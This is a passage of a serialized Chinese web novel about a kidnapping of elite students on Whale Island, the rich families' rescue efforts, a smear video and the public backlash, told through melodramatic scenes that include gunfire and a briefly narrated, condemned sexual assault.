电话那头,沈让放的是扩音,关楼听说关鹤已经安全,丝毫掩饰不住激动的心情,一把抢过手机,声音颤抖,“让我看看阿鹤。” 周国潮主动向沈家示好请求合作,沈庄并未拿乔,于是周国潮、关楼立马拿着最新线索去往沈园。 一番互通消息后,关楼不禁暗暗庆幸自己听从了周老爷子的意见,谁能想到,他们还在被绑匪牵着鼻子走的时候,沈家暗卫竟然已经潜入鲸鱼岛。 沈让故意让关楼给绑匪发送同意赎人的请求,只要绑匪接受信号,沈家暗卫就能在最短的时间内锁定目标,解救关鹤。 所幸,计划出奇地顺利。 暗卫不接受除堂主之外人的命令,沈让理解关楼的心情,对于他的失态并未计较,淡淡出声,“照做。” 话音刚落,电话那边发来视频请求,关楼立马接通。 镜头一转,关鹤顶着一张被泡发的脸占满了整个屏幕,他眼神涣散,唇色苍白,脸上布满血印伤痕。 鲸港小霸王什么时候这么狼狈过? 关楼顿时眼眶泛红,声音哽咽,“阿鹤,别怕,没事了。” 关鹤两眼迷离,盯着屏幕看了许久终于有了反应。 “爸……爸?爸!” 连喊三声爸,关楼的心都要碎了,“爸爸在,爸爸……” 关鹤像是回光返照一般,眼里迸发出汹汹火光,“爸,你听我说,我在银星保险柜里留了账号,里面的钱我是没机会用了,一半给阿珩,一半给弟弟吧。” 弟弟?哪来的弟弟? 关楼微愣,一时没有反应过来。 关鹤生怕自己嗝屁,像倒豆子似的交代遗言,“还有,我这些年在外面睡了不少女人,你找阿珩,他一定能查出来,说不定有漏网之鱼。” 关楼额角直跳,“……” 关鹤,“要是实在没有,你跟阿珩说,让他借个种给我们,做兄弟的下辈子还他。” 关楼泛滥的父爱瞬间干涸,咬牙切齿,“你给老子闭嘴。” 关鹤完全沉浸在自己的世界里,死死拽着手机,“人走茶凉,要是阿珩实在不愿意……爸,关家的香火就只能靠给你了,你千万记住,女上位,一发入魂,一举得男。” “啪——” 父爱熄灭,关楼亲手暗灭了屏幕。 …… 第681章 宿命的纠缠 公海舰队和南湾舰队从鲸鱼岛撤离后,受上级指示,暂入鲸港待命。 原本按照规定,姜花衫要随警署厅去羁押所,但沈娇的金牌律师队早早就接到消息守在渡口,南湾舰队一靠岸,律师团便带着保释文书直接把大小姐请上了车。 沈归灵是此次南湾舰队的最高执行官,入港第一件事是去鲸港军务处述职,这一去又不知道要几天。他原本想着趁着入港前夕,两人多相处一会儿,但姜花衫生怕他腻歪,对他避之不及,哪怕正常说话中间都要隔出一条三八线。 战舰到港后,她更加变本加厉,出了审讯室招呼都不打直接窜进了车里。沈归灵被她这翻脸不认人样子气笑了,已经开始后悔不该那么轻易放过她。 回到沈园,沈娇亲自接姜花衫和傅绥尔回院,知道沈庄正忙着主持大局,两人便也没有去沁园打扰。 菊园一如往昔,繁花似锦。 张茹把院里一切事物打理得井井有条,知道姜花衫要回来,早早放好了洗澡水。 姜花衫回到绣楼,先安详地泡了个热水澡,虽然在密室里已经洗过了,但她还是更喜欢全身浸泡在水里的感觉,好像所有的疲惫在这一刻都能得到释放。 至今为止,距离沈眠枝被抓已经过去了十二个小时,单开剧目进度依旧是10%。 姜花衫暂时不想思考,泡到全身发软才从浴缸里爬了出来。 才换好衣裳,门外就响起了敲门声。 她早就猜到有人会坐不住,转身穿过偏厅亲自开门。 “怎么呢?睡不着?” 门外,傅绥尔发丝半干,神色凝重,隐隐有些不安。 姜花衫轻叹了一声,拉着她的手,“进来吧。” 傅绥尔细细看了她一眼,见姜花衫并无担忧,脸色缓和了许多。 “枝枝是为了让我和妙妙先上去才主动出头的。” 她当时站在甲板上,眼睁睁看着沈眠枝被那些恶徒劫走,内心的煎熬并不像安慰苏妙时表现的那么淡定。 “这和你和妙妙没有关系。” 这是剧目的把戏,即便没有傅绥尔和苏妙,剧目也能把所有巧合都凑在一块。 姜花衫掀开香香软软的被子,拍了拍身侧的空位,“现在,我们唯一能做的就是绝对相信爷爷和枝枝,还有,保重好自己。” 沈家没有弃子,爷爷一定会有所行动。 而沈眠枝也不再是从前那个沈眠枝,她掌控暗卫杀伐果决,即使身陷囹圄也一定不会轻易屈服。 剧目才开始百分之十,既然是共创,那么就一定会有她上场的机会。 现在,她们能做的只有养精蓄锐。 * 鲸鱼岛,某处荒滩。 火光摇曳着,橙黄的光晕仅仅照亮了咫尺之间。 沈眠枝眼里的三分惊吓彻底变成了十分。 “阿……阿珩哥?” 周宴珩笑了笑,毫无温度的笑意看着极具迷惑性,“怎么这么狼狈?难道你也是被人丢下来的?” 丢下来的? 沈眠枝指尖收拢,干燥的枯枝磨砺着掌心,发出细微的嘎吱声。 她这才发现,周宴珩身后简单搭建了一个木屋架子,那只野种猪脖子上栓着的藤绳另一端就系在周宴珩脚边的石桩上,藤绳刻意保留了一截尺寸,若是全部放开,刚刚那只野猪就扑上来了。 树下的陷阱显然是周宴珩放的,他理所当然知道藤绳保留多少不会伤人,所以刚刚那只野猪也是他故意出来吓唬她的。 沈眠枝站起身,犹豫片刻慢慢向周宴珩靠近。 周宴珩一言不发,在沈眠枝距离他三步之遥指尖一抬,手里的火源顿然熄灭。 沈眠枝蹲下身,借着晦暗的月色细细打量眼前的男人,两人的目光在黑暗中交汇,无声又带着某种试探。 “阿珩哥,你受伤了?” 周宴珩撩着眼睑,眸光不冷不热,他的坐姿很奇怪,两只腿直直平放在地上。沈眠枝越靠越近,周宴珩并未拒绝,撑着枯叶里的右手紧紧握着一根尖枝。 “是枪伤?!”沈眠枝一脸不可思议,抬头看向周宴珩,“阿珩哥,你也遇见绑匪了?” 周宴珩偏头,“也?” 沈眠枝略有不忍看向身上的伤,“你突然消失,绑匪向周家勒索五亿,政府担心其他人会有危险,便安排了公海舰队掩护大家撤退。” “谁知那些绑匪竟然跟学生里应外合,我一时大意被绑匪劫持了。还好那些人并未把我放在眼里,我趁他们不注意跳海逃脱,不知怎么就游到了这个荒岛。” “阿珩哥,你也是被那些绑匪害成这样的吗?” 周宴珩盯着沈眠枝的脸一言不发,沉默片刻,暗暗松开了手里的尖枝,眼里的笑意染上几分撩人的意味。 “是啊~所以,你是上天派来解救我的有缘人吗~” …… 第682章 狩猎者与猎物 对于一个惯会玩弄人心的狩猎者,一眼就能看出猎物的心思。 沈眠枝于周宴珩而言,一直都是食之无味弃之可惜的存在,对于这样的存在,他是一直都是傲慢的。 所以即便是刻意引诱沈眠枝,周宴珩都带着高高在上的俯视之心。 不怪他如此,因为这样的游戏他玩得得心应手,大多数情况都是这样,他无需多言,笑一笑或者勾勾手指,那些猎物就会前仆后继供他驱使。 原本因为姜花衫,他不想招惹沈眠枝的,但现在他改变主意了,把沈家人当狗驱使,好像也挺有趣。 周遭的空气突然变得粘稠起来。 沈眠枝怎么都没想到自己竟然因为一个刻意勾引的眼神便有了心跳乱序的失重感。 她的脸烧得发烫,几乎来不及思考,便脱口而出,“阿珩哥你放心,我爷爷肯定一定会有办法的,我们一定会获救的。” 周宴珩薄唇弯起恰到好处的弧度,眼尾微挑,眸光流转间带着赤裸的引诱与玩味。 “可是……我的腿好像废了,万一那些人先找到这……” “你放心。”沈眠枝急忙打断他,“我不会丢下你不管的。” 说完,脸烧得更厉害了。 “是吗?” 周宴珩笑了笑,他的骨相凌厉十分具有侵略性,笑起来的瞬间掺杂着几分辨不明的温柔,这样的矛盾让他看上去既危险又充满诱惑。 沈眠枝不敢抬头与他对视,盯着他腿上的小声道,“这些伤口必须马上处理,不然恶化感染,你的腿只怕真的要保不住了。” 周宴珩转头看向角落。 沈眠枝顺着他的目光看了过去,这才发现不起眼的角落里,搭建了一个简易的取水区,大大小小的叶子里隐约有什么在晃动。沈眠枝瞬间明白过来,跑上前捧起其中一片折好的叶子。 “阿珩哥,这是你收集的?” 周宴珩点头,“你先喝点。” 沈眠枝舔了舔开裂的嘴角,将另外几片叶子的水全部集中一处,又快步跑到周宴珩身前蹲下,“我不渴,你弄这些不容易吧?我先给你冲洗伤口,不然感染就麻烦了。” 周宴珩眼神暗了暗,淡淡道,“你先喝。” 沈眠枝微愣,捧着手里的叶子低头抿一口,抬头看着他,“好了。” 周宴珩转过目光。 沈眠枝犹豫片刻,主动道,“你肩上的伤不好冲洗,我帮你处理?” “麻烦你了。”周宴珩顷刻间又恢复了温和。 沈眠枝摇头,起身绕道他身后,指尖若有若无扫过他的肩膀,声音极轻,“阿珩哥,要把衣服脱了。” 周宴珩低垂着眉眼,辨不明神色,“我没有力气。” 沈眠枝脸烧得更厉害,眼神四处乱撞,闷闷道,“那……我帮你。” 周宴珩扯了扯嘴角,轻嗯了一声。 沈眠枝小心翼翼直起身,从背后环绕,指尖颤抖几经艰难才解下了三粒纽扣,这过程甚至磨人,她努力避免身体相碰,但指尖、绵软总会不受控制擦枪走火。 整个过程,周宴珩毫无反应,像木雕似的一动不动。 到第四粒扣子,沈眠枝几乎已经抵上了他的后背,短暂接触又迅速分离。 “阿珩哥,伤口和衣料黏在一块了,可能会有些痛,你忍一下。” 她将指尖探入衣襟,轻轻拉着两侧衣襟往后脱落,期间,她的目光很是随意扫向周宴珩垂落的右臂,见一堆枯叶上摆着一根树枝,停留片刻又若无其事端起地上的叶子。 处理完伤口,她很是自然弯腰捡起周宴珩身侧的尖枝。 周宴珩挑眉,不动声色看着她,沈眠枝皱眉,扯起他垂落的一边衣袖,咔嚓一划破了一道口子。 沈眠枝撕下一块布料,抬着周宴珩的手臂,动作娴熟包扎伤口。 周宴珩看了一眼被她扔在地上的尖枝,眼里的笑意多了几分探究,“你很会处理枪伤?” “不止枪伤,刀伤,缝合我都会,不过现在没有工具,只能先应付。” 她一边说着,又起身绕到周宴珩身前,跪坐在他的大腿边,撕了几块布料给大腿的伤口包扎。这个部位有些敏感,她小心翼翼尽量避免触碰。 但另一只腿不好操作,沈眠枝刻意避让一时没控制好力度,身体直接栽倒,对着周宴珩扑了上去。 “……” 面对突然的投怀送抱周宴珩并没有躲,低睨着眼睑面无表情看着怀里的人。 沈眠枝愣了愣,眸底满是慌乱,忙不迭稳住身体坐了起来。 深林暗夜,孤男寡女,在某种奇怪激素的刺激下,气氛暧昧又涌动。 沈眠枝勉强稳住心思,左右看了看,故意岔开话题。 “阿珩哥,你的伤这么严重是怎么逃到这里来的?” 周宴珩眼底飞快闪过一抹暗涌。 沈眠枝仿若未察,无害的小鹿眼满是崇拜之情,“还以为我能逃生已经算是厉害了,没想到阿珩哥你更厉害!简直就是神迹。” 神迹? 周宴珩眼里的光愈发幽敛,可不就是神迹吗? 原本他沉入海底以为是必死无疑,但没想到低温的海水反而给了他一线生机,身体冰冷使得他身上的血管迅速收缩,因此也大大减缓了伤口失血的速度,同时低温带来的麻木感暂时压制了剧痛,让他保留最后一丝清醒。 他抱着鱼死网破的决心扯破伤口,让自己被血色包围,就是为了跟沈归灵赌最后一把。 幸运的事,这次命运之轮竟然又转回到了他手里。 下沉时伤口涌出的血在海水中晕成暗红的雾,像一块流动的诱饵,瞬间惊动了附近巡游的鲨鱼—— 不是庞大到能一口吞噬他的巨鲨,而是更具攻击性的公牛鲨。 鲨鱼被血腥味裹挟着猛冲过来,第一口并没有咬向他的身体,在高速冲击中,鲨鱼误判了目标被他腰间那块晃动的石头吸引,最后锋利的牙齿精准咬在了绷紧的绳索上。 绳索断裂的瞬间,石头带着惯性坠向深海,而他则借着这股反作用力向上浮起半米。 更幸运的是,鲨鱼因为第一次攻击落空而变得暴躁,甩动尾巴时恰好拍在他身边的海水中形成了一股推力,将他往斜上方的浅水区推了几米。 几经挣扎,他用残存的手臂刚好能抓住一片被洋流卷来浮木,就这样在海上飘了几个小时飘到了这座荒岛。 趁着伤口麻痹的空隙,他探入了荒岛,又利用这些年在军政学府学到的野外生存技能暂时归置了一方天地。 整个过程出奇地顺利,甚至在他思考如何该获取火源时,意外发现西裤的裤兜里竟然有个打火机,他记得好像是关鹤给他的,说是在海边把妹放烟花时多出来了一个就送给他了。 一般的打火机不防海水,但关鹤塞给他的是高级货,丁烷出口阀门有特殊设计,可以防止海水倒灌。 一切那么的理所当然,巧合地诡异。 原本周宴珩打算利用这个打火机制造出什么动静,引人过来救他,但又怕沈归灵贼心不死先一步找到他,思考一夜,始终想到没有万全之策,就在这时,沈眠枝出现了。 一开始,周宴珩是想杀了她泄愤的,但野猪扑过去的瞬间他忽然又有了更好主意。 神迹竟然引他活了下来,必然要有更多人献祭才枉费他死里逃生走一遭。 周宴珩缓缓抬眸,牵扯出一丝似笑非笑的弧度,“我有什么厉害的?厉害的是你,你就是我的神迹。” …… 第683章 事态升级 心跳乱序的失重感越来越强烈。 在这滚烫地令人窒息的张力里,沈眠枝感觉自己像是被钉在琥珀里的蝴蝶,挣扎不得动弹不得,只能眼睁睁看着自己在那双深不见底的眸子里,一点点融化,沉沦,直至献祭。 又是这种感觉…… 她放弃了抵抗,顺从某种法则的吸引,小心翼翼靠近周宴珩,害羞的眼神里噙着足以骗过所有人的痴念。 “阿珩哥,我一定不会让你失、望的……” * 深夜十一点。 餐厅里的灯火通体明亮。 十几个绑匪三两成群,有的酩酊大醉,有的划拳喝酒说着荤段子。 角落里的动静过了许久才安静下来,几个贼眉鼠眼长相猥琐的男人心满意足勒紧裤腰,像踹垃圾一样踢开胡萌的身体,又继续上桌喝酒。 “你小心点,就这么一个,踢坏了我们玩什么?” 另外一桌男人们早已急不可耐,骂骂咧咧上前捞人。 胡萌神情麻木看着头顶,焕然的眼瞳里只有不停摇晃的防风马灯和不断闪烁霓虹虚影,感觉又有人强行施暴,她只能绝望的闭上眼,恨不得现在立刻死了才好。 “砰——” 突然,耳边传来一声枪响。 神明好像听见了她的祷告,压在她身上的男人被一枪爆头,飞溅的鲜血烫得她当即恢复了一些神志。 “有人突击!!” 所有绑匪惊吼着弹起,第一反应就是寻找遮挡物。 瘪老三起身,一把掀翻铁皮圆桌挡在身前,两个小弟一左一右守在两侧。 “老大,该不会是A国那群海军上岛了吧?” 话音刚落,四面八方响起乒乒乓乓的枪声,弹雨之密集,显然是没有打算留活口。 怎么会这样? 难道他们连人质都不在乎了? 瘪老三掏出手枪,四处观望指着角落的方向,“不管了,先保命再说。” * 鲸港,沈园。 沈让挂了电话,脸色凝重看向主位的沈庄。 “爸,暗堂的人说翻遍了绑匪所在的贼窝,但还是没有找到枝枝。” 沈庄眸光沉静,不辨喜怒,“绑匪怎么说?” 沈让神色哀痛,“说枝枝为了逃跑自己跳下了深海。” 周国潮看了沈庄一眼,虽然知道不合时宜,但还是没忍住开口问道,“那……阿珩?” 沈让摇头,“他们说,从未见过阿珩。” 闻言,周国潮脸上血色全无。 “怎么会这样?阿珩明明就在他们手里,为什么那些歹徒不承认。”周元正喃喃自语,忽然想到什么,惊魂未定看向周国潮,“难道…他们把阿珩……” “闭嘴。”周国潮冷冷打断,思忖片刻勉强维持冷静,“既然歹徒已经被制服,那便可以搜岛了,活要见人死要见尸。” 说罢,站起身对着沈庄微微颔首,转头出了花厅。 关楼万万没想到事情发展竟会如此曲折,不禁在心里暗暗庆幸自家那傻小子命大。 他起身,对着沈庄微微鞠躬,“沈老大义,今日这份恩情,关家没齿难忘,他日定当回报。” 沈庄哪还有心思顾念这点小恩小惠,摆摆手,“关部长言重了,你家那小子半个小时会送到鲸和医院,今晚之事,还请关部长守口如瓶。” 绑匪挟持鲸鱼岛,政府还在交涉,沈家就把人救回来了,这事要是传出去,对沈家对A国政府都不利。 关楼知道厉害,点头应下,“沈老放心。” 待关楼走后,沈让手掌紧紧握拳,抬步走到堂下。 “若是A国军舰出动,媒体一定会大肆渲染,沈家暗卫见不得光,被人抓住把柄只怕沈家会落人口舌。爸,我想亲自去鲸鱼岛。” 沈庄沉吟片刻,颔首,“去吧。” 沈让起身,一只脚刚跨过门槛,身后又传来沈庄的声音。 “小枝必然还活着,你务必把她找回来。” 沈让神情微动,再抬眸时粗犷的脸上满是坚毅。 “是。” * 翌日。 一条重磅视频突然横扫各大主流平台。 视频里,一名长相秀丽的少女被人劫持,掳进了手持枪械的绑匪中。 很快,这件事引起了全国范围的关注,短短三分钟,就有人扒出了被挟持的少女正是沈家嫡系千金,沈眠枝。 舆论再次沸腾,新闻媒体也纷纷聚焦到了此次的绑架事件。 随着热度不断攀升,网上透露内情的人也越来越多。 仅仅只用了半个小时,鲸鱼岛劫持案就暴露在了公众面前。 高校联盟是A国建国以来保持了半个世纪的传承活动,A国每年在这些高校投入的教育资金高到不可估算,这样规制的活动一直都是由A国警署保驾护航,如此严谨竟然差点被一群外来的绑匪一锅端了,A国政府的公信力何在? 民众再次哗然,群起奋勇讨伐A国当局。 舆论发酵后,余斯文居住的总统府围满了抗议声讨的民众,怒斥他当权无能,一时间,余斯文的民众支持率低到前所未有的临界值。 A国当局为了平息民怒,紧急召开记者发布会。 余斯文亲自出席会议,严厉谴责绑匪的同时也表明了政府对解救人质的决心。会议结束后,余斯文的支持率慢慢回温。 眼看局势终于得到控制,事情再度峰回路转。 绑匪通过技术平台,发布了一条令人发指的凌辱视频,并在视频最后配文羞辱:这就是你们A国顶级名媛?滋味不错。 视频一出,不仅仅是A国,就连其他国家的时政新闻也纷纷转载了,标题头条更是不堪入目: -【A国当局无能,鲸鱼岛沦陷!豪门掌上明珠疑似沦为绑匪性奴!】 * “砰——” 沈娇脸色匆匆,刚入沁园,就听见花厅传来一声极其刺耳的异响。 片刻后,郑松端着一盒碎裂的瓷盏从厅里走了出来,沈娇一眼便认出了是老爷子最喜欢那套天青宋制官窑。 竟然全砸了?! 沈娇当即意识到沈庄是真的动怒了,收敛神色,抬步跨入了花厅。 …… 第684章 不被掌控的剧情 【叮——】 【重开剧目加载完成:当前剧目进度13%】 姜花衫单手支颐,撩着眼睑,面无表情关掉了手机里的视频。 这就是剧目增加的百分之三的杀招? 企图用最恶毒的舆论杀死一个女生的清白。 上一世,沈眠枝怀着周宴珩的孩子去周家讨要名分,结果等来的不是名分,而是一段她与其他男人的XA视频。视频最后被上传到A国最热门的视频网站,名誉扫地。 名门千金承受不住这样的耻辱,沈眠枝万念俱灰从商贸大楼一跃而下,结束了她潦草慌乱的一生。 绕了一圈,剧目换汤不换药,该让沈眠枝承受的一点都没有变。 真是……恶心。 “衫衫!!!” 房门砰的一声被撞开,傅绥尔神色匆匆跑了进来。 “视频!视频!你看了吗?” 姜花衫回头,见傅绥尔眉宇间满是杀气,以为她误会了,正要开口解释,傅绥尔自行说道,“这不是枝枝。” 她脸色微红,眼里烧着灼灼怒火,“但就算不是枝枝,这件事也不能容忍,我们必须要做些什么?” “这些人故意往枝枝身上泼脏水,意在沈家,他们要让沈家成为A国的笑料。如果放任不管,等枝枝回来她就毁了。” 沈家是A国顶层名流,绝不会允许这样的耻辱存在。沈氏不止鲸港沈家一脉,出了这种事,就算沈庄不发作,其他族人也一定会干预。 傅绥尔像无头苍蝇转来转去,姜花衫沉默片刻,嘴角莫名有了笑意。 你瞧,还没轮到她上场,剧目就已经出现偏差了。 上一世,沈眠枝的XA视频被曝光后,傅绥尔嫌恶不已,怒斥她不配为沈家女。但现在,傅绥尔是第一个站出来说要保护她的人。 傅绥尔气得都快爆炸了,转头见姜花衫眼里藏着些许笑意,不觉一愣。 “你……笑什么?” 姜花衫摇头,“放心,这次有我们,总不会让她回来失望的。你说的对,这件事一定有人在背后搞鬼,但消息才放刚刚出来,说不定还有变化,我们再等等。” 其实姜花衫也不知道自己在等什么,她只是想再观望一下,看看这一世还有什么不同于上一世的变数。 万万没想到,还真被她们等到了。 豪门千金被辱视频发布三个小时后,在媒体口诛笔伐大肆渲染的高压下,另外一条呼吁所有民众看清背后真相的视频杀出重围。 镜头前,余笙穿着白衬衣,扎着马尾辫,不同于以往政治演讲的精心装扮,视频里的她素面朝天,背景都是卧室里的随意一角。 她看着镜头,直言道,“视频罪恶的本源是恶徒随意折辱女性的身体,而不是被折辱的这个人是谁。如果A国当代主流媒体人的思想境界都如此浅薄,为了一点所谓的流量放弃新闻实质原则,这样的企业不如倒闭。” “这不是淫秽,这是犯罪,发生这样的事,最该觉得丢脸的不是视频里的女孩儿或者她的家族,而是A国当局!” 视频演说内容长达三分钟,余笙以第一视角讲述了沈眠枝为什么会被挟持。 “若没有她,视频里的女孩儿可能是我,可能是你,也可能是正在观看视频的你的兄弟姐妹,请无良媒体终止不实报道,少女的贞洁从不在罗裙之下,她不是性奴,是英雄。” 余笙如实阐述,没有稿件,全是肺腑之言。 这场随性而起的演说获得的前所未有的反响,转发点赞抵过了余笙历年所有演讲之和,其热度完全不输当年的《致无能的总统先生》。 蝴蝶效应因此煽动。 撤离的三千高校学生陆续出来为沈眠枝发声,要求新闻镜头对准施害者而非无辜受害者,并呼吁民众抵制所有转载、播放有关视频的媒体平台。 紧接着,无数A国民众纷纷响应,这场舆论之战空前盛大,民心所向抵过所有资本操控。 * 与此同时。 蓝海空卫营。 乔金锦刚从训练营回来,正准备去指导室报到,一群交好的战友前后包抄,围着他欢呼雀跃。 “阿锦哥,恭喜啊!听说King-33隐形战机的首飞人选确定了?你还真是给我们蓝海营长脸啊,要是被军政学府那些书呆子抢去了名额,以长官的爆脾气,非把我们操练死不可。” 乔金锦心里挂念周宴珩和关鹤的情况,随意应和了两句继续往指导室方向走去。 一群人见状立马拉住他,“阿锦哥,你找上校?他这会没空,苏家人在里面。” 乔金锦脚步微顿,抬眸看向说话的男生,“苏家?” “是啊。阿锦哥你还不知道吧?苏灼比赛时突然偏移航线,教员命令他重新返航,他不但不听还弃战机而去,这事已经闹到军务总局去了,不管在哪,临阵脱逃都是大忌,这不,苏家老爷子亲自过来了解情况了。” “你说……苏灼临阵脱逃?” 乔金锦压根不信这种无稽之谈。 他看过苏灼的飞行成绩,这次首飞名额他算是他最大的竞争对手,以苏灼能力,完全没有必要做这种事。 “真的,这事都已经传开了。咱们蓝海营什么时候出过这种事?苏灼这小子也不知道在想什么,哎~他的前途算是毁了。” “说不定他是知道会输给锦哥,为了保全面子,所以干脆不比。” “这种人还是别来我们蓝海营了,比个赛都能临阵脱逃,以后要真打仗,一定是个逃兵,哪像我们锦哥,不拼爹不拼娘,就靠自己。” 乔金锦自然是听出了大家在恭维他,但这种恭维实在没必要。 他正要制止,耳边突然传来一声娇喝。 “放屁!” 没等他反应过来,那人冲上前狠狠推了他一把。 “我哥只是有很重要的事要去做,他才不是逃兵。” 乔金锦愣了愣,等看清眼前的人是谁,神色微闪往后退了一步。 “诶!你谁啊?” 众人反应过来正准备拉开苏妙,身后又响起一道低沉的声音。 “妙妙。” 众人循声看去,脸色陡然大变,苏敬琉不知在他们身后站了多久,上校正阴晴不定看着他们。 苏敬琉目不斜视穿过众人,越过苏妙时才缓缓开口,“说多少遍了,狗咬你,你不能咬狗。” 乔金锦眼皮跳了跳。 “……” …… 第685章 家主之威 襄英。 老宅的日子依旧风平浪静。 沈兰晞从里屋出来,刚转身便看见一群人在外院徘徊,他神色淡然轻轻掩好门,慢慢往廊庑走去。 “兰晞……” 因着武太奶的前天夜里忽然又陷入昏沉,出于安全考虑,沈兰晞作主拒绝了所有人的探视。 老宅的一群叔伯们不敢坏了规矩,炎炎夏日顶着烈阳在院外来回转悠,好不容易等到沈兰晞,立马蜂拥围了上来。 “兰晞……”沈钧在众人的搀扶下慢慢走近,目光往内院看了一眼,略有担忧,“武太奶她……” 沈兰晞,“老太太年事已高,油尽灯枯,常态罢了。” 沈钧微愣,仔细打量沈兰晞的眉眼不觉又有些诧异。 沈兰晞从军队回来第一时间没有回沈园,而是来看望武太奶,说明他对武太奶是有感情的。 可说到生死,他又淡漠地好似一个局外人,完全叫人看不清到底是有情还是无情。 沈钧轻叹了一声,点了点头,眸光微定脸色冷沉了几分,“兰晞,枝枝的事你应该知道了吧?” 沈兰晞抬眸看向众人。 沈眠枝被绑匪挟持的消息,没等沈园传消息他就已经知道了,原本他打算启程回鲸港,但老爷子给的口令是让他继续留在襄英。 沈兰晞沉默片刻,嗯了一声。 这反应顿时把众人都给看懵了,沈家出这么大的事,他身为沈家继承人,这反应对吗? 沈航是沈钧的长子,沈钧年事已高,平时里老宅族中大小事务都是他帮着打点,见沈钧僵在原地,便主动接话: “兰晞啊,外面那些流言传地不堪入耳,事关咱们沈家的声誉,老爷子可有什么指示?” 沈兰晞,“诸位叔伯无须担心,宵小而已,爷爷能应付。” 他明显不欲多说,淡淡颔首,转身往阁楼走去。 “这……” 众人面面相觑,沈航到底是不甘心,主动跟上前追问,“兰晞,事情闹得这么大,老爷子可有说人找回来要如何善后?咱们沈氏百年清誉可不能断送于此啊?” 沈兰晞身形顿住,抬眸打量眼前的男子,“伯父这话是什么意思?” 沈航愣了愣,沈兰晞比他高一个头,单单一个眼神就让他怵得慌。 沈钧见状连忙解释,“兰晞,你别误会,枝枝是我们沈家的孩子,我当然也盼着她好。但现在事情已经发展成这样了,不管是为了大局还是为了枝枝,咱们都必须好好筹划。” “听叔公的意思,你们已经想好怎么筹划了?” 沈钧不语,沈航清咳了一声,“我与你几个叔伯商量过了,枝枝年纪还小,这等流言蜚语她未必能承受住,鲸港是个是非之地,难保有心之人不会利用这件事对沈家不利。若是枝枝安全回来,不如留在襄英老宅安度余生。” 沈兰晞眉头微拢,不怒自威,“沈眠枝是我沈家的女儿,就不劳堂伯父费心了。” 这个时候刻意加上一个堂伯父,明显是划清界限的意思。 沈航没想到沈兰晞态度如此强硬,有些茫然,“兰晞,你这是什么话?咱们同为沈家子孙,一荣俱荣一损俱损,事已至此,枝枝断不可能高嫁,如此不如养在身边妥贴,我们这么做也是为了沈家百年清誉着想。” 沈兰晞神情淡漠,“沈家的百年清誉不是靠禁锢女子的一生得来的,各位叔伯们若连这点觉悟都没有,早些卸下家族重担,省的祸害后世祖孙。” “这……” 在座的都到了能当沈兰晞父亲的年纪,被小辈一通教训顿觉脸上无光,但沈兰晞家族宗子的身份摆在这,即便众人不满也没有理由申饬。 沈兰晞只当没看见众人的脸色,冷得跟座冰雕似得,“念在诸位叔伯是初犯,今日之事我暂且不会告诉爷爷,烦请诸位自行去祖祠面壁思过,什么时候想清楚了再出来。” 什么? 还要面壁思过? 这些沈家族人在襄英都是有头有脸的大人物,沈家祭祖都是最先贡香的人,现在竟然要他们去祠堂面壁思过。 一群人恍恍惚惚,等反应过来,沈兰晞早就已经走远了。 沈航脸上阴晴不定,转头看向一旁的沈钧,“父亲?兰晞这也太过分了。” 沈钧脸色阴沉,盯着沈兰晞的背影看了许久,摇了摇头,“罢了,眼下小枝生死不明,的确不该谈论此事。” 众人脸色失望。 “可……我们好歹也是他的长辈,这要是真受罚,以后出去哪还有脸见人?” 沈钧冷斥,“什么长辈,兰晞是未来家主,别说你们,就算是我,我也得乖乖受罚,这是沈家的规矩!” * 老宅的穿堂小道,石缝里浮着经年的苔痕,绒绿里沁出雨水酿就的墨色,每一步都像踩在洇开的老宣纸上。 “少爷。” 高止小心翼翼跟上沈兰晞,见他眉宇间还透着冷意,抬着脖子对着身后的方向骂道,“一群老不死的朽木,竟然还想用封建诡计围困眠枝小姐,也不看看沈家未来的家主是谁?那是我英明神武无所不能的…….少爷!” 沈兰晞停下脚步,抬眸看向高止,“消息传回去了?” 高止立马收敛神情,点头,“是。不过……现在眠枝小姐出事,只怕幺小姐那边未必会放人。” 沈兰晞不语,转身继续前行。 如果那些荒唐都是真的,那她……就一定会来。 …… 第686章 我来了 Y国,圣经教堂。 彩绘玻璃滤下的天光,将圣经教堂高耸的穹顶切割成斑斓的碎片,管风琴低沉的余韵尚未散尽,唱诗班空灵的颂歌仿佛还萦绕在石柱之间。 这本该是涤荡灵魂的圣地,此刻却成了罪恶审判台。 “沈清予,圣经教堂不可染血,你要是杀了我们,就是和Y国的所有神职人员为敌…罗塞蒂家族不会放过你的…” “别杀我,求求你别杀我,是我不该嘴贱,沈少爷,饶过我这次吧?” 十字架上的四人徒劳地扭动着身躯,濒死的模样与十字架上永恒悲悯垂目的基督像形成了鲜明的反差。 祷告台下,一道身影双腿交叠,正襟危坐,优雅地不像话。 “住手!” 就在这时,侧门被猛地推开! “以主之名,立刻住手!”一名身着黑色长袍的神父带着两名修士冲了进来。 神父高举着手中的银质十字架,声音因愤怒而颤抖:“沈清予!这里是主的圣殿!你怎敢在此行凶,玷污神圣!快放开他们!主会审判一切罪恶!” “主?”逆光里的人笑了笑,凤眸懒散半眯。 他站起身,出乎意料地掏出腰侧的手枪,对着十字架上的其中一人砰砰砰砰连开四枪。 枪声震耳,在空荡的穹顶上空不断回旋。 “啊——!!”凄厉的惨嚎撕裂了教堂的宁静。 人影转身,慢条斯理地从西装内袋抽出一条雪白的丝帕,包住手枪仔细擦拭着扳机上的指纹。 他的动作优雅得如同在擦拭一件艺术品。 “圣坛之上,自有神祇聆听忏悔,降下宽恕。” 他笑了笑,将擦拭干净的手枪扔进血泊中,“但圣坛之下,是我的地盘,感谢Y国持枪自由。” 大门被推开,外面世俗的光涌入,他优雅低头,对主忏悔,转身出了教堂。 * 沉重的橡木门在渐渐合拢,隔绝了教堂里那粘稠的铁锈味和濒死的呜咽。 七八月的Y国正午,阳光像熔化的金箔,带着滚烫的重量,劈头盖脸浇在圣经广场的每一寸石板上。 沈清予刚走出教堂,顾赫便跟了上来。 “少爷,您刚刚伤的是罗塞蒂家族的小少爷。” “怎么?一个三流家族还想追杀我?” 沈清予冷笑,那狗东西敢当着他的面点评沈家人受辱视频,就该想到会有今天的后果。 “罗塞蒂家族的追杀不足为虑,只不过……”顾赫有些犯难,表情凝重,“您在进修期间在圣经教堂撒野,只怕回去后又要被学校请退了。” 沈清予脚步一顿,皱了皱眉,满不在乎,“无所谓,我来这修学原本就是为了能杀人的时候优雅一点,目的达到就行了。” 顾赫看了他一眼,“少爷,加上这次,您已经被退学十次了,再这么下去,兰晞少爷和阿灵少爷毕业了,你还在读大一。” 沈清予嗤了一声,走了两步忽然想到什么,被自己气笑了,转身往教堂走去。 * 六个小时后。 